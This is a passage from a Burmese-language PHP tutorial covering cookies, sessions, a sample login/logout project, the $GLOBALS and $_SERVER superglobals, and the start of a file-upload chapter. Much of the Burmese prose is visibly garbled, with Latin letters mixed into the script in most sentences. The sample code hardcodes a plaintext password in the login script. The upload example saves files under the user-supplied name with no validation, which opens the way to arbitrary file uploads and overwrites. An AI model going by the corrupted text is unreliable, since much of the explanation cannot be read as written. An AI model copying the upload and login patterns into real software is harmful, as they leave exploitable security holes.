ရမှာလဲဆိုတဲ့ သက်တမ်းgoစ်ပါတယ်။ အခုလုိ သက်တမ်းကို သတ်မှတ်dပးနိုင်ပါတယ်။

setcookie("name", "Bob", time() + 3600);

ဒါဟာ  name=Bob ဆိုတဲ့  Cookie  တန်oုိးကို  အချနိ်  (၁)  နာရီသက်တမ်း  သတ်မှတ်dပးလိုက်တာပါ။
time() Function ကလက်ရှိအချနိ်ရဲ့ Timestamp ကိုgပန်dပးပြပီး သတ်မှတ်လိုတဲ့ သက်တမ်းကို စက္ကန့်နဲ့
dပါင်းdပးလုိက်တာပါ။  စက္ကန့်  (၃၆၀၀)  လ့ုိdgပာလိုက်တဲ့အတွက်  အချနိ်  (၁)  နာရီသက်တမ်းကို  ရရှိသွား
တာပါ။ ဒါdeကာင့်  (၁)  နာရီgပည့်တဲ့အခါ  Browser  ကဒီ  Cookie  ကို  အလုိအdလျှာက် ပယ်oျက်လုိက်မှာ
goစ်ပါတယ်။
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အချနိ်သက်တမ်းကို (၁) ရက်၊ (၁) ပါတ်၊ စသည်goင့်ကိုယ်သတ်မှတ်လုိသdလာက် သတ်မှတ်dပးလ့ုိ ရနိုင်ပါ
တယ်။ အကယ်၍ သက်တမ်းသတ်မှတ်dပးgခင်း မရှရိင်dတာ့ လက်ရှိ Browser oွင့်ထားချနိ်၊ ရှိdနမှာgoစ်ပြပီး
Browser ပိတ်လုိက်ချနိ်မှာ ပယ်oျက်လုိက်မှာ goစ်ပါတယ်။

Cookie dတွဟာ မူအရ လက်ရှိအလုပ်လုပ်dနတဲ့  Host နဲ့သာ သက်ဆိုင်ပါတယ်။ localhost အတွက်
သိမ်းထားတဲ့  Cookie  ဟာ  localhost:3000 နဲ့သက်ဆိုင်မှာ  မဟုတ်ပါzူး။  Host  မတူတဲ့အတွက်
deကာင့်ပါ။  localhost အတွက်သိမ်းထားတဲ့  Cookie  dတွကိုdတာ့  localhost အတွင်းက  oုိဒါ
အားလံုးနဲ့  သက်ဆိုင်ပါတယ်။  အ့ဲဒီလုိ  သက်ဆိုင်လုိdစgခင်း  မရှိzူးဆိုရင်  Cookie  ကို  သိမ်းစဉ်မှာ  သူနဲ့
သက်ဆိုင်တဲ့ Path ကို သတ်မှတ်dပးလိုက်လ့ုိ ရပါတယ်။ ဒီလိုသတ်မှတ်dပးရပါတယ် –

setcookie("path", "cookie", time() + 3600, "/form/");

ဒါဟာ path=cookie ဆိုတဲ့ Cookie Data ကို အချနိ် (၁) နာရီသက်တမ်းနဲ့ သတ်မှတ်လုိက်တာပါ။ ပြပီး
တဲ့အခါ  dနာက်ဆုံး  Argument  အdနနဲ့  /form/ လ့ုိထည့်dပးထားတဲ့အတွက်  form oုိဒါထဲမှာပဲ  ဒီ
Cookie  တန်oုိးက  အသက်ဝင်မှာgoစ်ပါတယ်။  တgခား  oုိဒါdတွမှာ  ဒီတန်oုိးကို  အသံုးgပုလ့ုိရdတာ့မှာ
မဟုတ်ပါzူး။

လုိအပ်လ့ုိ Cookie တန်oုိးdတွ ပယ်oျက်လိုရင်dတာ့ အခုလုိပယ်oျက်နိုင်ပါတယ်။

setcookie("name", "", time() - 1);

သက်တမ်းကို  Minus  နဲ့dပးလိုက်gခင်းအားgoင့်  သက်တမ်းကုန်ပြပီးdနပြပီဆိုတဲ့  အဓိပ္ပါယ်သက်dရာက်dနလ့ုိ
Browser က Cookie ကို ပယ်oျက်လုိက်မှာပဲgoစ်ပါတယ်။
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Sessions
Cookie  နဲ့  သdzာသzာဝ ဆင်တူပြပီး အလုပ်လုပ်ပံုကွဲgပားတဲ့  Session  လ့ုိdခါ်တဲ့နည်းပညာလည်း ရှိပါ
dသးတယ်။ Cookie Data dတဟွာ Web Browser နဲ့အတူသိမ်းဆည်းတဲ့ Data dတွgoစ်ပြပီး Session Data
ကိုdတာ့ Web Server နဲ့အတူ သိမ်းပါတယ်။ ဒီလုိdရးရပါတယ် –

 PHP 
<?php
session_start();
$_SESSION['user'] = 'Tom';

ဒါဟာ  user=Tom ဆိုတဲ့  Session  Data  တစ်ခုကို  Web  Server  မှာ  သိမ်းလိုက်တာပါ။
session_start() Function  က Session  ရှိမရှိစစ်ပြပီး ရိှရင်သံုးdပးပါတယ်။ မရှိရင် အသစ်dဆာက်
dပးပါတယ်။ အ့ဲဒီလုိ  session_start() ကို  Run  ပြပီးပြပီဆိုရင်  $_SESSION Superglobal  ကdန
တစ်ဆင့် သိမ်းချင်တဲ့  Data  dတွ သိမ်းလ့ုိရပြပီgoစ်သလုိ သိမ်းထားတဲ့  Data  dတွကိုလည်း အသံုးgပုလ့ုိရပြပီ
goစ်ပါတယ်။ 

Session တန်oုိးတစ်ခုသိမ်းလုိက်တဲ့အခါ PHP က Session ID တစ်ခုကို အလုိအdလျှာက် Auto Generate
လုပ်ပြပီး PHPSESSID အမည်နဲ့ Cookie Data ကိုgပန်dပးပါတယ်။ ဒါdeကာင့် Browser က PHPSESSID
ကို  Cookie  Data  အdနနဲ့  သ့ူzက်မှာ  သိမ်းdပးရပါတယ်။  zာအဓိပ္ပါယ်လဲဆိုdတာ့၊  Data    ကို    Server  
zက်မှာ   Session   အdနနဲ့ သိမ်းထားပြပီး၊ အ့ဲဒီလုိသိမ်းထားတဲ့    Data   ကို ယူသံုးoို့အတွက် လုိအပ်တဲ့    ID   ကို  
Browser    zက်မှာ သိမ်းdပးလုိက်ရတဲ့သdzာပဲ goစ်ပါတယ်  ။ ဒီ  Session ID  မပါရင်  Session Data  ကို
အသံုးgပုခွင့်dပးမှာ မဟုတ်လ့ုိ  Session  ထဲမှာ သိမ်းထားတဲ့  Data  dတွဟာ အထုိက်အdလျှာက် လံုခြခုံမှုရှိ
တယ်လ့ုိ ဆိုနိုင်ပါတယ်။ ဒီ Session ID ကို အတုလုပ်o့ုိဆိုတာ မလွယ်ပါzူး။ ဒါdပမယ့် ID အစစ်ကို ခိုးယူ
တဲ့နည်းdတွdတာ့ ရိှdနပါတယ်။ ဒါdeကာင့် အထုိက်အdလျှာက် လံုခြခုံမှုရှိdပမယ့် အgပည့်အဝလုံခြခုံတယ်လ့ုိ
တစ်ထစ်ချ မမှတ်သင့်တာကိုdတာ့ သတိgပုပါ။

Session မှာdတာ့ Cookie လ့ုိ Expire Time dတzွာdတွ မရှိပါzူး။ ဒါdeကာင့် သက်တမ်းကို သတ်မှတ်ပြပီး
သံုးo့ုိရည်ရွယ်တာ မဟုတ်zဲ လကရ်ှိ  Browser oွင့်ထားစဉ်ကာလ ခဏနေသိမ်းပြပီးသံုးoို့သာ ရည်ရွယ်တာgoစ်
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ပါတယ်။  Session  ရဲ့ထူးgခားချက်က  Array  dတွ  Object  dတွကိုပါ  သိမ်းလ့ုိရgခင်းgoစ်ပါတယ်။ ရdအာင်
သိမ်းမယ်ဆိုရင် ရနိုင်dပမယ့် Cookie ရဲ့သdzာကdတာ့ ရိုးရိုး Text dတွကိုသာ သိမ်းoို့goစ်ပါတယ်။

သိမ်းထားတဲ့ Session Data dတွကို gပန်oျက်ချင်ရင် ဒီလုိgပန်oျက်လ့ုိရပါတယ်။

 PHP 
<?php
session_start();
unset( $_SESSION['user'] );

session_start() နဲ့ ရိှdနတဲ့  Session ကိုdခါ်ယူလိုက်ပြပီး unset Statement နဲ့ ကိုယ်oျက်ချင်တဲ့
Session တန်oုိးကို oျက်dပးလိုက်တာgoစ်ပါတယ်။

Sample Project
အခုdလ့လာထားတဲ့  Request  Data  စီမံပံု  Session  စီမံပံုတို့ကို  လက်dတွ့စမ်းသပ်ရင်း  dလ့လာနိုင်oုိ့
အတွက် နမူနာပdရာZျက်dလး တစ်ခုdလာက် လုပ်eကည့်ချင်ပါတယ်။ ရိှရမယ့် ပdရာZျက်oုိဒါoွဲ့စည်းပံုက
ဒီလုိပါ။

project/
├── css/
│     └── bootstrap.min.css
│
├── _actions/
│     ├── login.php
│     └── logout.php
│
├── index.php
├── register.php
└── profile.php

ပdရာZျက်oုိဒါအမည်ကို အဆန်းအgပားdတွ dပးမdနdတာ့zဲ project လ့ုိပဲ dပးထားပါတယ်။ အထဲမှာ
css oုိဒါရှိပြပီး css oုိဒါထဲမှာ bootstrap.min.css oုိင် ရှိdနပါတယ်။ dရှ့ ဆက်doာ်gပတဲ့ နမူနာdတွ
မှာ Bootstrap CSS Framework ကို ထည့်သွင်း အသံုးgပုပြပီး ဆက်လက်doာ်gပသွားမှာပါ။ 
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ပdရာZျက်oုိဒါထဲမှာ _actions ဆိုတဲ့အမည်နဲ့ oုိဒါတစ်ခုလဲ ရှိပါdသးတယ်။ ပdရာZျက်oုိဒါရဲ့ oဲွ့စည်းပံု
ပုိစနစ်ကျသွားdအာင် oုိင်dတွကို အမျ ို းအစား နှစ်မျ ို းခွဲထားချင်လ့ုိပါ။ User တိုက်ရိုက်ထိdတွ့စရာ မလိုတဲ့
ကုဒ်oုိင်dတွကို  _actions oုိဒါထဲမှာထားပြပီး၊  User  တိုက်ရိုက်ထိdတွ့o့ုိလိုတဲ့  ကုဒ်oုိင်dတွကို  အgပင် ပ
dရာZျက်oိုဒါထဲမှာပဲ  ထားချင်တာပါ။  _actions oုိဒါထဲမှာ  login.php နဲ့  logout.php တို့ကို
တည်dဆာက်ပြပီး အgပင်ပdရာZျက်oုိဒါထဲမှာ index.php, register.php နဲ့ profile.php တို့
ကို ဆက်လက်တည်dဆာက်dပးပါ။ ဒီoုိင်dတွကdတာ့ ကိုယ့်zာသာ တည်dဆာက်ရမယ့်oုိင်dတွပါ။ အထဲ
မှာ ကုဒ်နမူနာdတွ ဆက်လက် dရးသားသွားeကမှာ goစ်ပါတယ်။ 

လုပ်ချင်တာက  profile.php မှာ  User Profile  ရိှdနပြပီး  Login  ဝင်ထားမှသာ အ့ဲဒီ  Profile  ကို  ဝင်
eကည့်ခွင့် ရှိdစချင်တာပါ။ ဒါdeကာင့် profile.php မှာ အခုလုိ dရးdပးပါ။

 PHP 
<?php
    session_start();
    if(!isset($_SESSION['user'])) {
        header('location: index.php');
        exit();
    }

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" 

content="width=device-width, initial-scale=1.0">
    <title>Profile</title>
    <link rel="stylesheet" href="css/bootstrap.min.css">
</head>
<body>
    <div class="container mt-5">
        <h1 class="mb-3">John Doe (Manager)</h1>
        <ul class="list-group">
            <li class="list-group-item">
                <b>Email:</b> john.doe@gmail.com
            </li>
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            <li class="list-group-item">
                <b>Phone:</b> (09) 243 867 645
            </li>
            <li class="list-group-item">
                <b>Address:</b> No. 321, Main Street, West City
            </li>
        </ul>
        <br>

        <a href="_actions/logout.php">Logout</a>
    </div>
</body>
</html>

ဒီအဆင့်မှာ  dအာက်ပုိင်းက  HTML  dတွက  သိပ်အdရးမကြကီးdသးပါzူး။  gပစရာရှိdအာင်သာ  နမူနာ
အချက်အလက်တစ်ချ ို ့ ထည့်ထားတာပါ။ အdရးကြကီးတာက အdပါ်ဆုံးက PHP နဲ့ dရးထားတဲ့အပုိင်း goစ်
ပါတယ်။

session_start() ကို  Run ထားတဲ့အတွက် Session Data dတွကို အသုံးgပုလ့ုိရပါပြပီ။ Session ထဲ
မှာ user ဆိုတဲ့ Data ရှိမရှိစစ်ပြပီး မရှိရင် ကျန်တဲ့အလုပ်dတွ ဆက်မလုပ်dတာ့zဲ index.php ကို သွား
လုိက်မှာပါ။  header() Function  ကိုသံုးပြပီး  location: index.php ဆိုတဲ့  Response Header
ကို gပန်dပးလုိက်တာပါ။  PHP မှာ  Redirect လ့ုိdခါ်တဲ့ တစ်dနရာရာကို သွားdစချင်ရင် အ့ဲဒီလုိ dရးdပးရ
တာပါ။  ဒီdနရာမှာ  မeကာမeကာdတွ့ရတဲ့  အမှားကdတာ့  location  : လ့ုိdရးမိတတ်eကတာပါပဲ။
Colon သdက[တနဲ့ location ရဲ့eကားထဲမှာ Space   ထည့်လို့မရပါzူး  ။ တွdဲရးdပးရပါတယ်။

နမူနာမှာပါတဲ့  exit() Function  ကိုလည်း သတိgပုပါ။  die() ကိုလည်း  exit() အစား သံုးနိုင်ပါ
တယ်။ အ့ဲဒီ Function dတွကိုdတွ့ရင် PHP ကလုပ်dနတဲ့အလုပ်dတွကို ရပ်လုိက်မှာပါ။ ဆက်မလုပ်dတာ့
ပါzူး။  exit() မပါရင်လည်း dရးထားတဲ့အတိုင်း  index.php ကိုသွားမှာပါပဲ။ ဒါdပမယ့် dအာက်က
ကျန်တဲ့အလုပ်dတွ အကုနပ်ြပီးdတာ့မှ သွားမှာပါ။ ဒီလုိမgoစ်dစချင်တဲ့အတွက် exit() ကို ထည့်တာပါ။
အခုdန profile.php ကို သွားeကည့်လုိက်ရင်  index.php ကိုအလိုအdလျှာက် dရာက်သွားတာကို
dတွ့ရမှာ goစ်ပါတယ်။ Session ထဲမှာ User Data မရှိလ့ုိ Profile ကို eကည့်ခွင့်မdပးတာပါ။ စမ်းeကည့်နိုင်
ပါတယ်။
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localhost/project/profile.php

index.php မှာအခုလုိdရးသားdပးပါ။

 PHP 
<!DOCTYPE html>
<html>
<head>
    <title>Home</title>
    <meta name="viewport" 

content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="css/bootstrap.min.css">

    <style>
        .wrap {
            width: 100%;
            max-width: 400px;
            margin: 40px auto;
        }
    </style>
</head>
<body class="text-center">
    <div class="wrap">
        <h1 class="h3 mb-3">Login</h1>

        <?php if ( isset($_GET['incorrect']) ) : ?>
            <div class="alert alert-warning">
                Incorrect Email or Password
            </div>
        <?php endif ?>
        <form action="_actions/login.php" method="post">
            <input 
                type="email" name="email" 
                class="form-control mb-2" 
                placeholder="Email" required
            >
            <input 
                type="password" name="password" 
                class="form-control mb-2" 
                placeholder="Password" required
            >

            <button type="submit" 
class="w-100 btn btn-lg btn-primary">

                Login
            </button>
        </form>
        <br>
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        <a href="register.php">Register</a>
    </div>
</body>
</html>

dရးထားတဲ့ကုဒ်မှာ  HTML Form ကိုအရင်eကည့်ပါ။  Form ရဲ့  action မှာ  _actions/login.php
လ့ုိdပးထားတဲ့အတွက် ဒီ  Form ကdန Data  dတွ ပ့ုိလုိက်ရင်  _actions oုိဒါထဲမှာရှိတဲ့  login.php
ကိdုရာက်သွားမှာပါ။  method ကိုdတာ့  post လ့ုိdပးထားတဲ့အတွက်  ပ့ုိလုိက်တဲ့  Data  dတွဟာ
$_POST နဲ့ $_REQUEST Superglobal dတွထဲမှာ ရှိdနမှာပါ။ လုိအပ်တဲ့ CSS ကုဒ်တစ်ချ ို ့နဲ့ Bootstrap
Class dတွ ထည့်dပးထားတဲ့အတွက် ဒီ Form ရဲ့ doာ်gပပံုက အခုလုိgoစ်မှာပါ။

စမ်းသပ်အသုံးgပုနိုင်o့ုိအတွက် ဆက်လက်ပြပီးdတာ့ _actions/login.php မှာ ဒီလိုdရးdပးပါ။
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 PHP 
<?php
session_start();

$email = $_POST['email'];
$password = $_POST['password'];

if ($email === 'john.doe@gmail.com' and $password === 'jd123pwd') {
    $_SESSION['user'] = ['username' => 'John Doe'];
    header('location: ../profile.php');
} else {
    header('location: ../index.php?incorrect=1');
}

session_start() ကို  Run ထားတဲ့အတွက်  Session Data  dတွစီမံလ့ုိရပါပြပီ။ ပြပီးတဲ့အခါ  $_POST
Superglobal  ထဲက တစ်oက်  Form ကdနdပးပ့ုိလုိက်လ့ုိ dရာက်ရှိdနတဲ့  email နဲ့  password တို့ကို
ရယူပါတယ်။ ပြပီးတဲ့အခါ email က john.doe@gmail.com နဲ့ password က jd123pwd မှန်ကန်gခင်းရှိမ
ရိှ  စစ်ထားပါတယ်။  မှန်ရင်  Session  ထဲမှာ  User  Data  ကို  သိမ်းလုိက်ပြပီး  profile.php ကို  သွား
ခိုင်းလိုက်ပါတယ်။  မမှန်ရင်dတာ့  Login  Form  ရိှရာ  index.php ကို  URL  Query  တန်oုိး
incorrect=1 နဲ့ gပန်သွားခိုင်းလုိက်ပါတယ်။ လက်ရှိအလုပ်လုပ်dနတာက _actions oုိဒါထဲမှာ goစ်
တဲ့အတွက် Location dပးတဲ့dနရာမှာ ../ နဲ့ အgပင်oုိဒါတစ်ဆင့် gပန်ထွက်dပးရတာကို သတိgပုပါ။

dစာdစာက dရးခဲ့တဲ့  index.php ကိုgပန်dလ့လာeကည့်ရင် URL Query မှာ incorrect ဆိုတဲ့  Data
ပါမပါ  စစ်ပြပီး  ပါdနရင်  Error  Message  gပတဲ့ကုဒ်ထည့်dရးထားတာကို  dတွ့ရနိုင်ပါတယ်။  ဒါdeကာင့်
email နဲ့ password မမှန်တဲ့အခါ Error Message ကို Login Form နဲ့အတူ အခုလုိ dတွ့ gမင်ရမှာပါ။
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စမ်းeကည့်လ့ုိရပါပြပီ။  email နဲ့  password မှန်dအာင်dပးလုိက်ရင် profile.php ကိုdရာက်သွားမှာ
goစ်လ့ုိ အခုလုိရလဒ်ကို ရရိှမှာပဲ goစ်ပါတယ်။
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ဒီတစ်ခါdတာ့  profile.php ကို gပနိုင်သွားပါပြပီ။  Session ထဲမှာ  User Data ရိှသွားပြပီမ့ုိလ့ုိပါ။  Profile
ရဲ့dအာက်နားမှာ _actions oုိဒါထဲက logout.php နဲ့ချတိ်dပးထားတဲ့  Logout Link လည်းပါဝင်ပါ
တယ်။ ဒါdeကာင့်  Logout  gပန်လုပ်ချင်ရင် လုပ်လ့ုိရdအာင်  _actions/logout.php မှာ အခုလုိdရး
dပးပါ။

 PHP 
<?php
session_start();
unset( $_SESSION['user'] );
header('location: ../index.php');

Session ထဲက User Data ကိုoျက်ပြပီး index.php ကို gပန်သွားခိုင်းလုိက်တာပါ။ Session ထဲက Data
ကို oျက်လုိက်တယ်ဆိုတာဟာ Logout လုပ်လုိက်တဲ့သdzာပါပဲ။

အခုဆိုရင်  အdgခခံ  Login/Logout  လုပ်dဆာင်ချက်dလးတစ်ခုကို  ရရိှသွားပြပီပဲgoစ်ပါတယ်။  Register
လုပ်dဆာင်ချက်dတာ့ မထည့်ရdသးပါzူး။ ဒီdနရာမှာ ထည့်လို့မရdသးပါzူး။  Database  နဲ့ပက်သက်တဲ့
အdeကာင်းအရာdတွ  dgပာပြပီးမှ  ဆက်ထည့်eကပါမယ်။။  ဒါdeကာင့်  ဒီပdရာZျက်ကုဒ်ကို  သိမ်းထားပါ။
dနာက်အခန်းdတွမှာ လုိအပ်တဲ့ လုပ်dဆာင်ချက်dတွ ဆက်လက် goည့်စွက်သွားမှာမ့ုိလ့ုိပါ။

$GLOBALS & $_SERVERS
Superglobal  dတွအdeကာင်း  dgပာရင်းနဲ့  $GLOBALS နဲ့  $_SERVER Superglobal  dတွကိုလည်း
ထည့်သွင်းမှတ်သားသင့်ပါတယ်။  $GLOBALS Superglobal  ဟာ  တgခား  Superglobal  dတွမှာလ့ုိ
Underscore   နဲ့ မစတာကို   သတိgပုပါ။ သ့ူထဲမှာ $_GET တို့ $_POST တို့လုိ တgခား Superglobal dတွနဲ့
ကိုယ်deကညာ အသံုးgပုထားတဲ့  Global Variable  dတွ အပါအဝင် ရိှရှိသမျှ  Global Variable  အားလံုးရဲ့
တန်oုိးdတွ သ့ူထဲမှာ ရှိdနမှာပါ။ ပံုမှန်ဆိုရင်  Function  dတွထဲမှာ  global Keyword  ကိုသုံးပြပီး  Global
Variable  ကိုရယူအသံုးgပုရတယ်လ့ုိ  အထက်မှာ  dလ့လာခဲ့eကပါတယ်။  အကယ်၍  အ့ဲဒီလုိမသံုးzဲ
$GLOBALS Superglobal ထဲကdန တိုက်ရိုက်ရယူပြပီး သံုးမယ်ဆိုရင်လည်း ရနိုင်ပါတယ်။ ဥပမာ - 
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 PHP 
<?php
$name = "Alice";

function hello() {
echo "Hello " . $GLOBALS['name'];

}

hello(); // Hello Alice

global Statement  နဲ့  Function  ထဲမှာ  deကညာမထားdပမယ့်  Global  Variable  $name ကို
$GLOBALS ကdနတစ်ဆင့် ရယူအသုံးgပုလ့ုိ ရနိုင်တာကို dတွ့gမင်ရgခင်း goစ်ပါတယ်။

$_SERVER Superglobal  ကလည်း  dတာ်dတာ်အသံုးဝင်ပါတယ်။  သ့ူထဲမှာ  User  Agent,  Request
Method, Request URI, Query String  စသည်goင့်  Request/Response  နဲ့ပက်သက်တဲ့အချက်အလက်
dတွ အကုန်ရှိdနတာပါ။ ပါဝင်တဲ့ အချက်အလက်dတွကို သိချင်ရင် print_r( $_SERVER ) ကို Run
eကည့်နိုင်ပါတယ်။ ဒီလုိရလဒ်မျ ို းကို gပန်ရပါလိမ့်မယ်။

Array
(

[HTTP_HOST] => localhost
[HTTP_USER_AGENT] => Mozilla/5.0
[HTTP_COOKIE] => PHPSESSID=cgnblv9srsrnro3pjj4m428qi6
[SERVER_SOFTWARE] => Apache/2.4.46 (Unix)
[SERVER_NAME] => localhost
[SERVER_ADDR] => ::1
[SERVER_PORT] => 80
[REMOTE_ADDR] => ::1
[DOCUMENT_ROOT] => /opt/lampp/htdocs
[CONTEXT_DOCUMENT_ROOT] => /opt/lampp/htdocs
[SCRIPT_FILENAME] => /opt/lampp/htdocs/app/a.php
[SERVER_PROTOCOL] => HTTP/1.1
[REQUEST_METHOD] => GET
[QUERY_STRING] => 
[REQUEST_URI] => /app/a.php
[PHP_SELF] => /app/a.php
[REQUEST_TIME_FLOAT] => 1611046916.4418
[REQUEST_TIME] => 1611046916

)
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အမှန်တစ်ကယ်ရမယ့် ရလဒ်ကို အနည်းငယ်ချုံ့ပြပီး doာ်gပလိုက်တာပါ။ Request/Response နဲ့ ပက်သက်
တဲ့ အချက်အလက်dတွအgပင် Server   ရဲ့   Host Name, IP Address, Client   ရဲ့   IP Address,   လက်ရှိအလုပ်  
လုပ်dနတဲ့  ကုဒ်oုိင်ရဲ့တည်dနရာ စတဲ့အချက်အလက်မျ ို းdတွလည်း  ရှိdနလ့ုိ  ကိုယ့်ပdရာZျက်မှာ  ဒီလို
အချက်အလက်dတွ လုိအပ်လာရင် $_SERVER Superglobal ကdန အသင့်ယူသံုးလုိက်ယံုပါပဲ။ 
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အခန်း (၃၇) – PHP File Upload

File Upload ဆိုတာဟာ ပြပီးခဲ့တဲ့အခန်းမှာ Request Data dတွစီမံပံုအdeကာင်း dgပာရင်းနဲ့ တစ်ခါထဲ dgပာ
ရမယ့် အdeကာင်းအရာပါ။ dရာသွားမှာစိုးလ့ုိသာ အခုလုိ တစ်ခန်းသပ်သပ်ခွဲပြပီးdတာ့  doာ်gပလုိက်တာပါ။
Request  နဲ့အတူပါဝင်လာမယ့်  Data  dတဟွာ  URL Query  အdနနဲ့ပဲ  လာလာ၊  Form  ကdနပဲလာလာ
အများအားgoင့်  Plain Text Data  dတွgoစ်eကပါတယ်။ အ့ဲဒီလုိ  Text Data  dတွအgပင်  Request  နဲ့အတူ
Binary Data  dတွလည်း ပါလာနိုင်ပါတယ်။ လွယ်လွယ်dgပာရရင် oုိင်dတွလည်း  Request  နဲ့အတူ ပါဝင်
လာနိုင်ပါတယ်။ အ့ဲဒီလုိ ပါဝင်လာတဲ့အခါ PHP နဲ့ zယ်လုိစီမံရသလဲဆိုတာကို dလ့လာeကမှာပါ။

HTML Input dတွထဲမှာ <input type="file"> ဆိုတာ ရိှပါတယ်။ ဒီ  Input ရဲ့အကူအညီနဲ့  User
က dပးပို့လုိတဲ့  oုိင်dတွကို  dရးွချယ်လ့ုိရပါတယ်။  JavaScript  ရဲ့အကူအညီနဲ့  dရွးလုိက်တဲ့oိုင်ကို  gပdပး
တာ၊  oုိင်အရွယ်အစား  စစ်dပးတာdတွ  လုပ်လ့ုိရdပမယ့်  တစ်ကယ့်အdgခခံကdတာ့  zာမှဆန်းဆန်းgပား
gပား မလိုပါzူး။ <input type="file"> ကိုသုံးလုိက်ရင် oုိင်dတွdရွးပြပီး ပ့ုိလ့ုိရသွားပါပြပီ။ စမ်းeကည့်
နိုင်oုိ့  ဒီလုိ  Form  dလးပါဝင်တဲ့  HTML Document  တစ်ခုကို  htdocs dအာက်မှာ နှစ်သက်ရာအမည်နဲ့
dရးသားeကည့်နိုင်ပါတယ်။

<form 
    action="upload.php"
    method="post" 
    enctype="multipart/form-data"
>
    <input type="file" name="photo">
    <button type="submit">Send</button>
</form>
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ဒီdနရာမှာ သတိgပုစရာdလးနှစ်ချက်ရှိပါတယ်။  Form  ရဲ့  method မှာ  get နဲ့  post နှစ်မျ ို းရှိdပမယ့်
File  Input    ကို  အသံုးgပုလုိရင်    post     မှသာ  အလုပ်လုပ်ပါတယ်  ။  get နဲ့ဆိုရင်  အလုပ်မလုပ်ပါzူး။
dနာက်တစ်ချက်ကdတာ့ နမူနာမှာdတွ့ရသလုိ enctype     လ့ုိ dခါ်တဲ့    Attribute    တစ်ခု    Form   မှာ မgoစ်  
မdန ပါဝင်o့ုိ လုိအပ်ပါတယ်။  multipart/form-data အတိအကျ goစ်ရပါတယ်။ ဒီ  Attribute  က
အပုိင်းလုိင်းခွဲပြပီး  Encode  လုပ်ထားတဲ့  Binary Data  dတွ  dပးပ့ုိပါဝင်deကာင်း  Server  ကို  အသိdပးတဲ့
သdzာပါ။  File  Input  အလုပ်မလုပ်ရင် အများအားgoင့်  မှားeကတာ  enctype Attribute  မပါဝင်gခင်း
(သ့ုိမဟုတ်) ပါdတာ့ပါတယ်၊ သ့ူရဲ့ Value goစ်တဲ့ multipart/form-data dရးထားတာ စာလံုးdပါင်း
မှားdနတာ၊  မgပည့်စုံတာတို့deကာင့်  goစ်တတ်တာကို  အများအားgoင့်  dတွ့ရပါတယ်။  ဒါdeကာင့်  အထူး
သတိgပုပြပီး မှန်ကန်dအာင် ထည့်သွင်းdပးo့ုိ လုိအပ်ပါတယ်။

ပံုမှန်အားgoင့်  PHP  က  Method  post နဲ့လာတဲ့  Request  Data  dတွကို  $_POST Superglobal  နဲ့
လက်ခံစီမံပါတယ်။  ဒါdပမယ့်  File  Input  ကdနလာတဲ့  oုိင်နဲ့သက်ဆိုင်တဲ့  အချက်အလက်dတွကို
$_FILES လ့ုိdခါ်တဲ့ သီးgခား Superglobal  နဲ့ သီးgခားခွဲပြပီးdတာ့ လက်ခံစီမံပါတယ်။ dစာdစာက Form
နမူနာကုဒ်မှာ  action ကို  upload.php လ့ုိdပးထားတဲ့အတွက်  upload.php ဆိုတဲ့oုိင်ထဲမှာ ဒီလုိ
dရးပြပီး စမ်းeကည့်နိုင်ပါတယ်။

 PHP 
<?php
print_r( $_FILES );

ပြပီးတဲ့အခါ  dစာdစာကdရးထားတဲ့  Form  ကdနတစ်ဆင့်  oုိင်တစ်ခုကို  dရးွချယ်dပးပ့ုိလုိက်ရင်
upload.php ကိdုရာက်သွားပြပီး အခုလုိရလဒ်ကို dတွ့gမင်ရမှာပဲ goစ်ပါတယ်။
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Array
(
    [photo] => Array
        (
            [name] => profile.jpg
            [type] => image/jpeg
            [tmp_name] => /path/to/temp/phpfHbCev
            [error] => 0
            [size] => 210446
        )

)

PHP  က  $_FILES Superglobal  ထဲမှာ  လက်ခံထားdပးတဲ့  dပးပ့ုိလာတဲ့  oုိင်နဲ့ပက်သက်တဲ့
အချက်အလက်dတွကို  dတွ့gမင်ရgခင်းပဲ  goစ်ပါတယ်။  အချက်အလက်  (၅)  ခုပါဝင်တဲ့  Array  တစ်ခုပါ။
name, type, tmp_name, error နဲ့ size တို့goစ်ပါတယ်။ name ကdတာ့ oုိင်ရဲ့မူလအမည်ပါ။
type ကdတာ့  MIME Type dခါ် oုိင်အမျ ို းအစားပါ။  tmp_name     ကdတာ့ အdရးအကြကီးဆုံးပါပဲ  ။ dပးပို့
လုိက်တဲ့ oုိင်ကို လက်ခံသိမ်းဆည်းထားတဲ့ dနရာပါ။ ဒါdeကာင့် ဒီရလဒ်ကို dတွ့gမင်ရရင် Request Data နဲ့
ပါလာတဲ့  oုိင်ကို  လက်ခံသိမ်းဆည်းထားပြပီးပြပီ  ဆိတုဲ့သdzာပါပဲ။  error ကdတာ့  0  ပဲgoစ်ရမှာပါ။
အdeကာင်းအမျ ို းမျ ို းdeကာင့်  oုိင်ပျက်dနရင်  (သ့ုိမဟုတ်)  အgပည့်အစုံမdရာက်ရင်  သက်ဆိုင်ရာ  error
တန်oုိးရှိdနမှာပါ။  zယ်လုိတန်oုိး  ရိှdနသလဲဆိုတာ  သိပ်အdရးမကြကီးပါzူး။  error မှာတန်oုိးတစ်ခုခု
ရိှdနရင်  အ့ဲဒီoုိင်ကို  လက်ခံအသံုးgပုနိုင်gခင်း  မရှိတဲ့သdzာပါပဲ။  dနာက်ဆုံး  size ကdတာ့  oုိင်
အရွယ်အစားကို Byte နဲ့doာ်gပdနgခင်းပဲ goစ်ပါတယ်။

ဒီအချက်အလက်dတွ  dတွ့gမင်ရပြပီဆိုရင်  File  dပးပ့ုိgခင်း၊  လက်ခံgခင်းကိစ္စ  dအာင်gမင်သွားပါပြပီ။  dနာက်
တစ်ဆင့်အdနနဲ့  လက်ခံရရှိထားတဲ့oုိင်ကို  ကိုယ်လုိချင်တဲ့dနရာမှာ dရ¢့သိမ်းထားdပးရမှာ goစ်ပါတယ်။ ဒီ
အတွက် upload.php ထဲကကုဒ်ကို အခုလုိ gပင်dရးနိုင်ပါတယ်။
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 PHP 
<?php
print_r( $_FILES );
$name = $_FILES['photo']['name'];
$tmp = $_FILES['photo']['tmp_name'];

move_uploaded_file($tmp, $name);

လက်ခံရရှိထားတဲ့  oုိင်အချက်အလက်dတွထဲက မူရင်းအမည်  name နဲ့  လက်ရှိတည်dနရာ  tmp_name
တို့ကို  ထုတ်ယူလုိက်တာပါ။  ပြပီးတဲ့အခါ  move_uploaded_file() Function  နဲ့  dနရာdရ¢့သိမ်း
